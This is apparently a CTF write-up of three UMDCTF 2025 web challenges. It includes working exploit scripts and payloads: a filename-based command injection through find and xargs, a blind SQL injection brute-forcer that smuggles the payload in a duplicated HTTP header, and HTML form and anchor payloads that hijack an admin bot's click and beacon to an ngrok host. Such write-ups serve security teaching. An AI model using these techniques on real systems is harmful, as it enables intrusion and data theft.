UMDCTF 2025 was the 9th edition of a Capture The Flag event hosted by the University of Maryland UMD - Cybersecurity Club.
It had a nice social-media theme for the challenges page!
I was not expecting to have time to play but ended up working in 4 web challenges and solving 3.
Challenge: Brainrot Dictionary (199 solves)
Difficulty: đœđœđœđŸđŸđŸđŸđŸđŸđŸ
First-Look
In this challenge, you have a kind of a base dictionary and you can also upload your own â.brainrotâ dictionary file. This file is just a list of strings, no complexity involved.
The app simply merges the content of the uploaded files and sort it.
Code Analysis
Lets take a look at the provided source-code:
from flask import Flask, render_template, request, redirect, session, url_for, send_from_directory
import os
import re
import random
import string
from werkzeug.utils import secure_filename
from urllib.parse import unquote
app = Flask(__name__)
app.secret_key = os.urandom(32)
app.config['MAX_CONTENT_LENGTH'] = 1000
print(app.secret_key)
# Directory to save uploaded files and images
UPLOAD_FOLDER = 'uploads'
if not os.path.exists(UPLOAD_FOLDER):
os.makedirs(UPLOAD_FOLDER)
def create_uploads_dir(d=None):
dirname = os.path.join(UPLOAD_FOLDER, ''.join(random.choices(string.ascii_letters, k=30)))
if d is not None:
dirname = d
session['upload_dir'] = dirname
os.mkdir(dirname)
os.popen(f'cp flag.txt {dirname}')
os.popen(f'cp basedict.brainrot {dirname}')
@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'POST':
if 'user_file' not in request.files:
return render_template('index.html', error="L + RATIO + YOU FELL OFF")
user_file = request.files['user_file']
if not user_file.filename.endswith('.brainrot'):
return render_template('index.html', error="sorry bruv that aint brainrotted enough")
if 'upload_dir' not in session:
create_uploads_dir()
elif not os.path.isdir(session['upload_dir']):
create_uploads_dir(session['upload_dir'])
fname = unquote(user_file.filename)
if '/' in fname:
return render_template("index.html", error="dont do that")
user_file.save(os.path.join(session['upload_dir'], fname))
return redirect(url_for('dict'))
return render_template('index.html')
@app.route('/dict')
def dict():
if 'upload_dir' not in session:
create_uploads_dir()
elif not os.path.isdir(session['upload_dir']):
create_uploads_dir(session['upload_dir'])
cmd = f"find {session['upload_dir']} -name \\*.brainrot | xargs sort | uniq"
print(f"Command:\n{cmd}\n\n")
results = os.popen(cmd).read()
return render_template('dict.html', results=results.splitlines())
if __name__ == '__main__':
app.run(debug=False, host="0.0.0.0")
Summary
- Python/Flask App
- Each new session creates an upload dir, with a random name (User isolation).
- Flag and a âBase Dictâ files are copied to the user upload dir.
/dict
route processes the file using thefind
linux command.- The file upload has some basic protections: file extension and a basic protection from path traversal.
Analysis
I lost some time trying to inject a command, by abusing session['upload_dir']
, but the secret key was safe.
The find
command was clearly the way to go:
cmd = f"find {session['upload_dir']} -name \\*.brainrot | xargs sort | uniq"
Letâs examine the parts of the command. The file somedict.brainrot
is a file that I uploaded in the main screen.
$ find uploads/tRtejqpCqGknnSNtSpIFhkjweaCGnW -name \*.brainrot
uploads/tRtejqpCqGknnSNtSpIFhkjweaCGnW/somedict.brainrot # file I uploaded
uploads/tRtejqpCqGknnSNtSpIFhkjweaCGnW/basedict.brainrot
Putting it all together - just got the 3 first rows, so you donÂŽt give me up :)
find uploads/tRtejqpCqGknnSNtSpIFhkjweaCGnW -name \*.brainrot | xargs sort | uniq | head -3
000-aaa: abc
1 2 buckle my shoe: gen alpha nonsense
5 nights at diddys: gen alpha nonsense
The 000-aaa: abc
is the line added by my uploaded file somedict.brainrot
.
But since it sends the find results to xargs
, what if we add files with spaces in the names?
Letâs test it:
echo 'x: y' > 'flag.txt basedict.brainrot'
ls
basedict.brainrot flag.txt 'flag.txt basedict.brainrot' somedict.brainrot
cd ../..
find uploads/tRtejqpCqGknnSNtSpIFhkjweaCGnW -name \*.brainrot
uploads/tRtejqpCqGknnSNtSpIFhkjweaCGnW/flag.txt basedict.brainrot
uploads/tRtejqpCqGknnSNtSpIFhkjweaCGnW/somedict.brainrot
uploads/tRtejqpCqGknnSNtSpIFhkjweaCGnW/basedict.brainrot
OK, find
brings flag.txt
to the output. Letâs move to the whole thing.
$ find uploads/tRtejqpCqGknnSNtSpIFhkjweaCGnW -name \*.brainrot | xargs sort | uniq | grep 'UMDCTF'
UMDCTF{local}
Great! The trick works!
The find
runs from the app dir, which have a basedict.brainrot
file, so it works. If you use a different name after flag, it will fail.
Payload
Letâs create a payload script (or ask Gemini to generate it):
import requests
import io
import re
# --- Config ---
# BASE_URL = "http://127.0.0.1:5000"
BASE_URL = "https://brainrot-dictionary.challs.umdctf.io"
UPLOAD_FILENAME = "flag.txt basedict.brainrot"
FILE_CONTENT = b"y"
# Session
session = requests.Session()
files_data = {
'user_file': (UPLOAD_FILENAME, io.BytesIO(FILE_CONTENT), 'text/plain')
}
print(f"[*] Uploading '{UPLOAD_FILENAME}' to {BASE_URL}/")
try:
post_response = session.post(f"{BASE_URL}/", files=files_data, allow_redirects=False)
if post_response.status_code == 302 and post_response.headers.get('Location', '').endswith('/dict'):
get_response = session.get(f"{BASE_URL}/dict")
get_response.raise_for_status()
content_lines = []
try:
matches = re.findall(r'<li.*?>(.*?)</li>', get_response.text, re.IGNORECASE | re.DOTALL)
content_lines = [match.strip() for match in matches]
except Exception as e:
print(f"[!] Error: {e}")
print(get_response.text)
found_flags = []
if not content_lines:
print("Nothing extracted")
print(get_response.text)
else:
for line in content_lines:
print(line)
if line.strip().startswith("UMDCTF"):
found_flags.append(line.strip())
if found_flags:
print("\n[***] Flags:")
for flag in found_flags:
print(f" -> {flag}")
else:
print("\n[-] No flag found")
elif post_response.status_code == 200:
print("[!] Upload failed?:")
error_match = re.search(r'<div.*?class=[\'"]error[\'"].*?>(.*?)</div>', post_response.text, re.IGNORECASE | re.DOTALL)
if error_match:
print(f"[!] Error: {error_match.group(1).strip()}")
else:
print(post_response.text)
else:
print(post_response.text)
except requests.exceptions.RequestException as e:
print(f"[!] Error: {e}")
except Exception as e:
print(f"[!] Error: {e}")
Kind of fancy, but it did the thing (Iâll just put the regular pt-BR output of the original exploit).
$ python attack.py
[*] Tentando fazer upload do arquivo 'flag.txt basedict.brainrot' para https://brainrot-dictionary.challs.umdctf.io/
[+] Upload parece ter sido bem-sucedido (recebido status 302 para /dict).
[*] Fazendo GET em https://brainrot-dictionary.challs.umdctf.io/dict para ler o conteĂșdo...
[+] ConteĂșdo recebido de /dict (extraĂdo das tags <li>):
------------------------------
</head>
<body>
<div class="container">
<h1>
LIST OF BRAINROT WORDS
</h1>
<ul>
<li>1 2 buckle my shoe: gen alpha nonsense
5 nights at diddys: gen alpha nonsense
Ei ei ei: gen alpha nonsense
...
------------------------------
[***] Flags/ConteĂșdo iniciado com 'UMDCTF' encontrado:
-> UMDCTF{POSIX_no_longer_recommends_that_this_is_possible}: gen alpha nonsense
Found it: UMDCTF{POSIX_no_longer_recommends_that_this_is_possible}
Agree with POSIX. Nice Weird behaviour. Looks like a command injection by bad naming.
Next!
Challenge: Steve Le Poisson (139 solves)
Difficulty: đœđœđœđœđŸđŸđŸđŸđŸđŸ
First screen is just a video, so letâs move directly to the source.
Code Analysis
// đŠ Importation des modules nĂ©cessaires pour faire tourner notre monde sous-marin numĂ©rique
const express = require("express"); // Express, le cadre web minimaliste mais puissant
const sqlite3 = require("sqlite3"); // SQLite version brute, pour les bases de données légÚres
const sqlite = require("sqlite"); // Une interface moderne (promesse-friendly) pour SQLite
const cors = require("cors"); // Pour permettre Ă d'autres domaines de parler Ă notre serveur â Steve est sociable, mais pas trop
// đ CrĂ©ation de l'application Express : câest ici que commence lâaventure
const app = express();
// đ§Ș Fonction de validation des en-tĂȘtes HTTP
// Steve, ce poisson Ă la sensibilitĂ© exacerbĂ©e, dĂ©teste les en-tĂȘtes trop longs, ambigus ou mystĂ©rieux
function checkBadHeader(headerName, headerValue) {
return headerName.length > 80 ||
(headerName.toLowerCase() !== 'user-agent' && headerValue.length > 80) ||
headerValue.includes('\0'); // Le caractĂšre nul ? Un blasphĂšme pour Steve.
}
// đ Middleware pour autoriser les requĂȘtes Cross-Origin
app.use(cors());
// đ§ Middleware maison : ici, Steve le Poisson filtre les requĂȘtes selon ses principes aquatiques
app.use((req, res, next) => {
let steveHeaderValue = null; // On prĂ©pare le terrain pour rĂ©cupĂ©rer lâen-tĂȘte sacrĂ©
let totalHeaders = 0; // Pour compter â car Steve compte. Tout. Toujours.
// đ Parcours des en-tĂȘtes bruts, deux par deux (clĂ©, valeur)
for (let i = 0; i < req.rawHeaders.length; i += 2) {
let headerName = req.rawHeaders[i];
let headerValue = req.rawHeaders[i + 1];
// â Si un en-tĂȘte ne plaĂźt pas Ă Steve, il coupe net la communication
if (checkBadHeader(headerName, headerValue)) {
return res.status(403).send(`Steve le poisson, un animal marin dâapparence inoffensive mais dâopinion tranchĂ©e, nâa jamais vraiment supportĂ© tes en-tĂȘtes HTTP. Chaque fois quâil en voit passer un â mĂȘme sans savoir de quoi il sâagit exactement â son Ćil vitreux se plisse, et une sorte de grondement bouillonne dans ses branchies. Ce nâest pas quâil les comprenne, non, mais il les sent, il les ressent dans lâeau comme une vibration mal alignĂ©e, une dissonance numĂ©rique qui le met profondĂ©ment mal Ă lâaise. Il dit souvent, en tournoyant dâun air dramatique : « Pourquoi tant de formalisme ? Pourquoi cacher ce quâon est vraiment derriĂšre des chaĂźnes de caractĂšres obscures ? » Pour lui, ces en-tĂȘtes sont comme des algues synthĂ©tiques : inutiles, prĂ©tentieuses, et surtout Ă©trangĂšres Ă la fluiditĂ© du monde sous-marin. Il prĂ©fĂ©rerait mille fois un bon vieux flux binaire brut, sans tous ces ornements absurdes. Câest une affaire de principe.`); // Message dramatique de Steve
}
// đź Si on trouve lâen-tĂȘte "X-Steve-Supposition", on le garde
if (headerName.toLowerCase() === 'x-steve-supposition') {
steveHeaderValue = headerValue;
}
totalHeaders++; // 𧟠On incrémente notre compteur de verbosité HTTP
}
// đ§» Trop dâen-tĂȘtes ? Steve explose. LittĂ©ralement.
if (totalHeaders > 30) {
return res.status(403).send(`Steve le poisson, qui est orange avec de longs bras musclĂ©s et des jambes nerveuses, te fixe avec ses grands yeux globuleux. "Franchement," grogne-t-il en agitant une nageoire transformĂ©e en doigt accusateur, "tu abuses. Beaucoup trop dâen-tĂȘtes HTTP. Tu crois que câest un concours ? Chaque requĂȘte que tu envoies, câest un roman. Moi, je dois nager dans ce flux verbeux, et câest moi qui me noie ! Tâas entendu parler de minimalisme ? Non ? Et puis câest quoi ce dĂ©lire avec des en-tĂȘtes dupliquĂ©s ? Tu crois que le serveur, câest un psy, quâil doit tout Ă©couter deux fois ? Retiens-toi la prochaine fois, ou câest moi qui coupe la connexion."`); // Encore un monologue dramatique de Steve
}
// đ
ââïž Lâen-tĂȘte sacrĂ© est manquant ? BlasphĂšme total.
if (steveHeaderValue === null) {
return res.status(400).send(`Steve le poisson, toujours orange et furibond, bondit hors de lâeau avec ses jambes flĂ©chies et ses bras croisĂ©s. "Non mais sĂ©rieusement," rĂąle-t-il, "oĂč est passĂ© lâen-tĂȘte X-Steve-Supposition ? Tu veux que je devine tes intentions ? Tu crois que je lis dans les paquets TCP ? Cet en-tĂȘte, câest fondamental â câest lĂ que tu dĂ©clares tes hypothĂšses, tes intentions, ton respect pour le protocole sacrĂ© de Steve. Sans lui, je suis perdu, confus, dĂ©sorientĂ© comme un poisson hors dâun proxy.`);
}
// đ§Ș Validation de la structure de la supposition : uniquement des caractĂšres honorables
if (!/^[a-zA-Z0-9{}]+$/.test(steveHeaderValue)) {
return res.status(403).send(`Steve le poisson, ce poisson orange Ă la peau luisante et aux nageoires musclĂ©es, unique au monde, capable de nager sur la terre ferme et de marcher dans l'eau comme si câĂ©tait une moquette moelleuse, te regarde avec ses gros yeux globuleux remplis dâune indignation abyssale. Il claque de la langue â oui, car Steve a une langue, et elle est trĂšs expressive â en te voyant saisir ta supposition dans le champ prĂ©vu, un champ sacrĂ©, un espace rĂ©servĂ© aux caractĂšres honorables, alphabĂ©tiques et numĂ©riques, et toi, misĂ©rable bipĂšde aux doigts tĂ©mĂ©rairement chaotiques, tu as osĂ© y glisser des signes de ponctuation, des tilde, des diĂšses, des dollars, comme si câĂ©tait une brocante de symboles oubliĂ©s. Tu crois que câest un terrain de jeu, hein ? Mais pour Steve, ce champ est un pacte silencieux entre lâhumain et la machine, une zone de puretĂ© syntaxique. Et te voilĂ , en train de profaner cette convention sacrĂ©e avec ton â%â et ton â@â, comme si les rĂšgles nâĂ©taient que des suggestions. Steve bat furieusement des pattes arriĂšre â car oui, il a aussi des pattes arriĂšre, pour la traction tout-terrain â et fait jaillir de petites Ă©claboussures dâĂ©cume terrestre, signe suprĂȘme de sa colĂšre. âPourquoi ?â te demande-t-il, avec une voix grave et solennelle, comme un vieux capitaine marin Ă©chouĂ© dans un monde digital, âPourquoi chercher la dissonance quand lâharmonie suffisait ? Pourquoi saboter la beautĂ© simple de âazAZ09â avec tes gribouillages postmodernes ?â Et puis il sâapproche, les yeux plissĂ©s, et te lance dâun ton sec : âTu nâes pas digne de lâen-tĂȘte X-Steve-Supposition. Reviens quand tu sauras deviner avec dignitĂ©.`);
}
// â
Si tout est bon, Steve laisse passer la requĂȘte
next();
});
// đ Point d'entrĂ©e principal : route GET pour "deviner"
app.get('/deviner', async (req, res) => {
// đ Ouverture de la base de donnĂ©es SQLite
const db = await sqlite.open({
filename: "./database.db", // Chemin vers la base de données
driver: sqlite3.Database, // Le moteur utilisé
mode: sqlite3.OPEN_READONLY // j'ai oublieÌ ça
});
// đ ExĂ©cution d'une requĂȘte SQL : on cherche si la supposition de Steve est correcte
const rows = await db.all(`SELECT * FROM flag WHERE value = '${req.get("x-steve-supposition")}'`);
res.status(200); // đ Tout va bien, en apparence
// đ§ Si aucune ligne ne correspond, Steve se moque gentiment de toi
if (rows.length === 0) {
res.send("Bah, tu as tort."); // Pas de flag pour toi
} else {
res.send("Tu as raison!"); // Le flag Ă©tait bon. Steve tâaccorde son respect.
}
});
// đȘ On lance le serveur, tel un aquarium ouvert sur le monde
const PORT = 3000;
app.listen(PORT, "0.0.0.0", () => {
console.log(`Serveur en écoute sur http://localhost:${PORT}`);
});
Summary
- Node/Express App
/deviner
endpoint gets for the value ofx-steve-supposition
and tests for the correct value using SQL-Injection-vulnerable on sqlite.- It uses a middleware to validate the header, using
req.rawHeaders
, which is unusual. - If the middleware finds the header, it makes some checks that avoid SQL injections.
- If the header is bad, just ignore it.
Analysis
We clearly have to find a way to get SQL Injection here:
// đ ExĂ©cution d'une requĂȘte SQL : on cherche si la supposition de Steve est correcte
const rows = await db.all(`SELECT * FROM flag WHERE value = '${req.get("x-steve-supposition")}'`);
The req.rawHeaders
is just a pre-processed raw value received, so the req.get
is the actual valid header value. Finding possible differences is the key to the solution here.
Letâs make some tests here to understand application behaviour.
First, the basics:
GET /deviner HTTP/1.1
Host: localhost:3000
X-Steve-Supposition: x2
User-Agent: MeuClienteHTTP/1.0
Accept: */*
Connection: close
Generates the query:
SELECT * FROM flag WHERE value = 'x2'
And, since no data is found, it returns an error:
Bah, tu as tort.
OK, letâs just try a SQL injection:
GET /deviner HTTP/1.1
Host: localhost:3000
X-Steve-Supposition: x2'
User-Agent: MeuClienteHTTP/1.0
Accept: */*
Connection: close
It does not perform the query. It returns a huge text complaining about the value of the header, because of the regex.
I was dumb here, because I would find the solution by doing some very simple tests, but it was nice to read some source-code from node http library and understand it in more details.
// Per RFC2616, section 4.2 it is acceptable to join multiple instances of the
// same header with a ', ' if the header in question supports specification of
// multiple values this way. The one exception to this is the Cookie header,
// which has multiple values joined with a '; ' instead. If a header's values
// cannot be joined in either of these ways, we declare the first instance the
// winner and drop the second. Extended header fields (those beginning with
// 'x-') are always joined.
IncomingMessage.prototype._addHeaderLine = _addHeaderLine;
function _addHeaderLine(field, value, dest) {
field = matchKnownFields(field);
const flag = field.charCodeAt(0);
if (flag === 0 || flag === 2) {
field = field.slice(1);
// Make a delimited list
if (typeof dest[field] === 'string') {
dest[field] += (flag === 0 ? ', ' : '; ') + value;
} else {
dest[field] = value;
}
} else if (flag === 1) {
// Array header -- only Set-Cookie at the moment
if (dest['set-cookie'] !== undefined) {
dest['set-cookie'].push(value);
} else {
dest['set-cookie'] = [value];
}
} else if (this.joinDuplicateHeaders) {
// RFC 9110 https://www.rfc-editor.org/rfc/rfc9110#section-5.2
// https://github.com/nodejs/node/issues/45699
// allow authorization multiple fields
// Make a delimited list
if (dest[field] === undefined) {
dest[field] = value;
} else {
dest[field] += ', ' + value; // NEPTUNIAN: Take a look here!!
}
} else if (dest[field] === undefined) {
// Drop duplicates
dest[field] = value;
}
}
It turns out, RFC 9110 allows multiple headers with the same name to have its values concatenated by commas.
Letâs test this:
GET /deviner HTTP/1.1
Host: localhost:3000
X-Steve-Supposition: x1
X-Steve-Supposition: x2
User-Agent: MeuClienteHTTP/1.0
Accept: */*
Connection: close
The generated query is:
SELECT * FROM flag WHERE value = 'x1, x2'
OK, we got something here, because the rawReq
values got like this:
[
'Host',
'localhost:3000',
'X-Steve-Supposition',
'x1',
'X-Steve-Supposition',
'x2',
'User-Agent',
'MeuClienteHTTP/1.0',
'Accept',
'*/*',
'Connection',
'close'
]
We got our difference.
The app itself does not treat this situation.
It loops across all the rawHeaders and uses ONLY THE LAST VALUE of x-steve-supposition
to validate the regex.
If we send 2 headers, the first with a payload and the second with a good header, we have an injection point.
GET /deviner HTTP/1.1
Host: localhost:3000
X-Steve-Supposition: x'
X-Steve-Supposition: x2
User-Agent: MeuClienteHTTP/1.0
Accept: */*
Connection: close
Now we bypassed the protection!
Header value: x', x2
Query:
SELECT * FROM flag WHERE value = 'x', x2'
And we get the expected error:
Error: SQLITE_ERROR: near ",": syntax error
Exploiting
No we can move to the exploit. There are only two possible non-error result messages for the query: Found and Not Found. The app does not return the SQL result.
We can just brute-force char-by-char here.
In our lab here, we assumed flag is in the value
column and it probably is the same in the server.
sqlite> select * from flag;
umd{abc123}
The flag format is actually uppercase UMDCTF{flag-string}
, but I forgot it at the time and the exploit took a little longer.
In this case, lets test for the char u
in the first position.
I chose a payload that test it using the substring value, and commenting the rest of the string.
GET /deviner HTTP/1.1
Host: localhost:3000
X-Steve-Supposition: x'or substr(value,1,1)='u'--
X-Steve-Supposition: x2
User-Agent: MeuClienteHTTP/1.0
Accept: */*
Connection: close
The query gets:
SELECT * FROM flag WHERE value = 'x'or substr(value,1,1)='u'--, x2'
And the app returns a happy message:
Tu as raison!
If the char is wrong, we get the Bah, tu as tort.
.
We can now brute-force each position for each char in the charset. I will assume the charset allowed is the same of the regex (the app would not make sense otherwise, because you would not be able to do a correct guess/supposition).
import socket
import time
import ssl
CHARSET = "umdctf{abeghijklnopqrsvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789}" # Adicione outros caracteres se necessĂĄrio
host = 'localhost'
port = 3000
host = 'steve-le-poisson-api.challs.umdctf.io'
port = 443
# steve-le-poisson-api.challs.umdctf.io
def brute_position(n):
"""
Realiza um brute-force no primeiro valor de X-Steve-Supposition
até encontrar a resposta "You are right!".
"""
# posicao_alvo = 1 # Indica que estamos fazendo brute-force no valor de 'x1'
for char in CHARSET:
# Cria um novo socket para cada tentativa para garantir uma conexĂŁo limpa
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Cria um contexto SSL/TLS
context = ssl.create_default_context()
secure_socket = context.wrap_socket(client_socket, server_hostname=host)
# secure_socket = client_socket
secure_socket.connect((host, port))
# print(f"Tentando caractere: '{char}' na posição {n}...")
print(f"...{n}")
# Monta o request HTTP com o caractere atual no X-Steve-Supposition: x1
request = b"GET /deviner HTTP/1.1\r\n"
request += b"Host: steve-le-poisson-api.challs.umdctf.io\r\n"
request += f"X-Steve-Supposition: 'or substr(value,{n},1)='{char}'--\r\n".encode('utf-8')
request += b"X-Steve-Supposition: 2\r\n"
request += b"User-Agent: MeuClienteHTTP/1.0\r\n"
request += b"Accept: */*\r\n"
request += b"Connection: close\r\n"
request += b"\r\n"
secure_socket.sendall(request)
resposta = b""
while True:
parte = secure_socket.recv(4096)
if not parte:
break
resposta += parte
resposta_str = resposta.decode('utf-8')
# print(f"Resposta do servidor: {resposta_str.strip()}")
if "Tu as raison!" in resposta_str:
print(f"\nCaractere correto encontrado para a posição {n}: '{char}'")
secure_socket.close()
return char
# break # Encerra o loop ao encontrar o caractere correto
# Pequena pausa para nĂŁo sobrecarregar o servidor (opcional)
time.sleep(0.01)
if 'cliente_socket' in locals() and secure_socket is not None:
secure_socket.close()
print("\nNĂŁo foi possĂvel encontrar o caractere correto dentro da lista de possibilidades.")
if __name__ == "__main__":
flag = ''
pos = 1
found = brute_position(pos)
flag += found
while found != '}':
pos += 1
found = brute_position(pos)
flag += found
print(flag)
print(f'Found: {flag}')
After runing it, it takes a while (i have time to get my pizza in the building reception).
$ python exploit.py
...1
...1
...
Caractere correto encontrado para a posição 1: 'U'
...2
...2
...
Caractere correto encontrado para a posição 3: 'D'
UMD
...4
...4
...
Caractere correto encontrado para a posição 27: 'A'
UMDCTF{ile5TVR4IM3NtTresbEA
...28
Caractere correto encontrado para a posição 28: 'u'
UMDCTF{ile5TVR4IM3NtTresbEAu
...29
...29
...
Caractere correto encontrado para a posição 29: '}'
UMDCTF{ile5TVR4IM3NtTresbEAu}
Found: UMDCTF{ile5TVR4IM3NtTresbEAu}
Itâs going right until.
UMDCTF{ile5TVR4IM3NtTresbEAu}
Just now I went for the translation:
He is REALLY Very HANDSOME
đ
Challenge: A Minecraft Movie (58 solves)
Difficulty: đœđœđœđœđœđŸđŸđŸđŸđŸ
First-Look
In this challenge, you can write a post that will be read by an admin (bot). We donât have server-side code to work here, but it is clearly an XSS challenge.
The JavaScript is not executed, so it seems to be not vulnerable to the trivial stuff.
Code Analysis
Code is that terrible minified-JavaScript. Doesnât take long to see it is a React SPA.
The App JavaScript is not obfuscated, but it is still a boring big read of jsx
calls like:
w.jsxs("div", {
className: "p-6 bg-white min-h-screen",
children: [w.jsx("h1", {
className: "text-3xl font-extrabold text-[#52a535] mb-6 text-center",
children: "Top Minecraft Movie Posts!!!!!!"
}), s && w.jsx("p", {
className: "text-red-600 text-center mb-4",
children: s
}), w.jsx("div", {
className: "flex flex-wrap justify-start gap-6 pl-4",
children: i.map(d => w.jsx(oh, {
postId: d.postId,
title: d.title,
username: d.username,
likes: d.likes
}, d.postId))
})]
})
But this is 2025 and Gemini Advanced can just reverse engineer the thing for us:
Okay, now we have a decent thing to look at.
Ok, code is too big for a write-up, so letâs go directly to the point: how the post content is saved/received and how it is processed on the client-side.
The route to get the post content is:
/post?postId=3271b4a3-1e01-47ce-b0d2-22e5456d192b
The result is:
{
"title": "Blaus",
"content": "Hey <strong>You</strong>\n<img src=\"/wrong\" onerror=\"alert(1);\">",
"username": "neptunian",
"likes": 0,
"likedByAdmin": false
}
This is exactly the unchanged content sent, so is is treated on the client-side. Letâs take a look at the code that fetches the post and render it. I omitted a lot of code here, for YOUR lazyness purposes đ
function ViewPostPage() {
const postId = new URLSearchParams(location.search).get("postId");
// ...
const fetchPost = useCallback(async () => {
//...
try {
const response = await fetch(`${API_BASE_URL}/post?postId=${postId}`);
setPost(await response.json());
} catch (err) {}
}, [postId]);
useEffect(() => {
if (postId && Ym(postId)) {
fetchPost();
}
}, [postId, fetchPost]);
// ...
// Sanitize content - Allow specific iframe attributes needed for YouTube embeds
const sanitizedContent = DOMPurify.sanitize(post.content, {
ADD_TAGS: ["iframe"],
ADD_ATTR: [
"allow", "allowfullscreen", "frameborder",
"scrolling", "src", "width", "height"
]
});
return (
<div className="flex justify-center items-center">
<div className="w-xl rounded-xl shadow-md overflow-hidden">
{/* Post Header */}
<div className="bg-[#52a535] p-4">
<h2 >{post.title}</h2>
<p className="text-white text-sm">
Posted by <span className="font-semibold">@{post.username}</span>
</p>
</div>
{/* Post Body */}
<div className="p-6 bg-white space-y-4"> // [cite: 3174]
{/* Use dangerouslySetInnerHTML for sanitized HTML */}
<div
dangerouslySetInnerHTML={{ __html: sanitizedContent }}
/>
{/* Admin Like Indicator */}
{post.likedByAdmin && (
<div>đ This post was liked by an admin!</div>
)}
{/* Like/Dislike Section */}
<div>
<span className="text-sm text-gray-600">{post.likes} Likes</span>
<div className="flex items-center space-x-2">
<button
className="cursor-pointer px-3 py-1 text-sm font-medium text-white bg-[#52a535] rounded-md hover:bg-green-600 transition"
onClick={() => handleLikeDislike(1)}
>
đ Like
</button>
<button
id="dislike-button"
className="cursor-pointer px-3 py-1 text-sm font-medium text-white bg-red-500 rounded-md hover:bg-red-600 transition" // [cite: 3181]
onClick={() => handleLikeDislike(-1)}
>
đ Dislike
</button>
</div>
</div>
</div>
</div>
</div>
);
}
Summary
- The
ViewPostPage
component renders the post. - Fetches the poisoned content from
/post?postId=${postId}
, as said before. - Sanitizes the content using DOMPurify (tough!)
- DOMPurify configuration here allows
iframes
with some specific attributes, for the embedding of youtube videos. - Puts the sanitized content in the page using
dangerouslySetInnerHTML
call.
âdangerouslySetInnerHTML is Reactâs replacement for using innerHTML in the browser DOM. In general, setting HTML from code is risky because itâs easy to inadvertently expose your users to a cross-site scripting (XSS) attack. So, you can set HTML directly from React, but you have to type out dangerouslySetInnerHTML and pass an object with a __html key, to remind yourself that itâs dangerousâ
So we got our innerHTML here, but with the mighty DOMPurify is blocking our shady simple hacks.
But then you look at the admin bot page.
They may dislike your post
OK, letâs send our post to Admin and wait a little.
You see? There a -1
likes. The Admin actually disliked our post. He doesnât understand me.
The dislike and the message before give a hint that the Admin will click the Dislike
button for all of our posts. We have a user interaction.
First Attack
Considering it is a bot, letâs assume it gets the button from a querySelector
type of call, probably on the ID, but maybe it uses some CSS class names.
DOMPurify will rip all JavaScript from the content, but it will allow some interesting components for our scenario. Letâs test it with an âaânchor, with the same ID and CSS classes of the button. An image will also be nice to fire a request to our ngrok, in case the click fails (just to check the bot is working).
Iâll start an ngrok endpoint to receive the requests.
Payload:
<a id="dislike-button" class="cursor-pointer px-3 py-1 text-sm font-medium text-white bg-red-500 rounded-md hover:bg-red-600 transition" href="https://92fc-2804-14d-5cd0-960f-3bd7-e4d1-8094-aa5d.ngrok-free.app/anchor_clicked">Hello</a>
<img src="https://92fc-2804-14d-5cd0-960f-3bd7-e4d1-8094-aa5d.ngrok-free.app/img.png">
OK, the Admin clicked! So we can hijack a click! But we canât do much with a GET.
From the component AccountPage
, we can see that the flag is an information received in the /me
route, in case the admin liked the post.
<div className="text-center text-gray-800 mb-8 space-y-2"> // [cite: 3208]
<p className="text-xl font-semibold">Username: {accountInfo.username}</p> // [cite: 3208, 3209]
<p className="text-lg"> // [cite: 3209]
Current Session Number: {window.sessionNumber !== undefined ? window.sessionNumber : "undefined"} {/* [cite: 3209, 3210] */}
</p>
{/* Display flag if present */}
{"flag" in accountInfo && accountInfo.flag && ( // [cite: 3210]
<div className="mt-4 text-green-700 font-medium"> // [cite: 3210]
<p>Wow, an admin liked your post! âïž</p> // [cite: 3210, 3211]
<p>Your flag is: {accountInfo.flag}</p> // [cite: 3211]
</div>
)}
</div>
So⊠we need to make the admin like us †But I think Iâm not nice enough for him. Letâs hack him đ
Attack 2
This is the function that handles likes and dislikes:
const handleLikeDislike = useCallback(async (likesChange) => {
await startSessionIfNeeded();
if (window.sessionNumber === undefined) {
setSocialError("Session not started. Cannot like/dislike.");
return;
}
try {
const response = await fetch(`${API_BASE_URL}/legacy-social`, {
method: "POST",
headers: {
"Content-Type": "application/x-www-form-urlencoded"
},
body: `sessionNumber=${window.sessionNumber}&postId=${postId}&likes=${likesChange}`, // [cite: 3165]
credentials: "include"
});
if (!response.ok) {
setSocialError(await response.text());
return;
}
await fetchPost(); // Refresh post data after like/dislike
} catch (err) {
setSocialError("Failed to update likes.");
console.error("Like/dislike error:", err);
}
}, [postId, fetchPost]);
The route /legacy-social
is responsible for liking/disliking on the server-side. If we can make the admin request here with our data, he will like the post and we will get the flag.
There is something important here: this route is processed through a application/x-www-form-urlencoded
, which means it works with an HTML Form
submit!!
Will DOMPurify allow HTML Forms
? Letâs check it first, simulating a form with our data, but to the ngrok endpoint.
The submit
button has the same ID and classes.
At this point, I didnât understand the role of sessionNumber
, but more on that later.
Note that this payload will try to make it like the post that he disliked before.
<form action="https://92fc-2804-14d-5cd0-960f-3bd7-e4d1-8094-aa5d.ngrok-free.app/legacy-social" method="post">
<input type="hidden" name="sessionNumber" value="1">
<input type="hidden" name="postId" value="3271b4a3-1e01-47ce-b0d2-22e5456d192b">
<input type="hidden" name="likes" value="1">
<button id="dislike-button" class="cursor-pointer px-3 py-1 text-sm font-medium text-white bg-red-500 rounded-md hover:bg-red-600 transition" type="submit">Enviar FormulĂĄrio</button>
</form>
<img src="https://92fc-2804-14d-5cd0-960f-3bd7-e4d1-8094-aa5d.ngrok-free.app/img2.png">
After posting, the form is rendered and we send the gift to the admin.
Yeah! It works!
Exploit
Letâs change the payload a little bit, so it will send to the actual API endpoint. Itâs nice to put some 100 likes, just to be sure.
<form action="https://a-minecraft-movie-api.challs.umdctf.io/legacy-social" method="post">
<input type="hidden" name="sessionNumber" value="1">
<input type="hidden" name="postId" value="3271b4a3-1e01-47ce-b0d2-22e5456d192b">
<input type="hidden" name="likes" value="100">
<button id="dislike-button" class="cursor-pointer px-3 py-1 text-sm font-medium text-white bg-red-500 rounded-md hover:bg-red-600 transition" type="submit">Enviar FormulĂĄrio</button>
</form>
<img src="https://92fc-2804-14d-5cd0-960f-3bd7-e4d1-8094-aa5d.ngrok-free.app/img3.png">
When /img3.png
hits our ngrok endpoint, we can look at the original, underestimated post.
Gotcha! Now we can check the Account page.
đ© UMDCTF{I_y3@RNeD_f0R_7HE_Min3S}
Thanks for liking me, admin!!
Other solutions
I didnât have much time to look at other solutions, but this was unintended.
The intended was a DOM Clobering on the window.sessionNumber.
<a href="sessionNumber" value="3&likes=1"></a>
I have to read more about it to understand it better.
The iframe
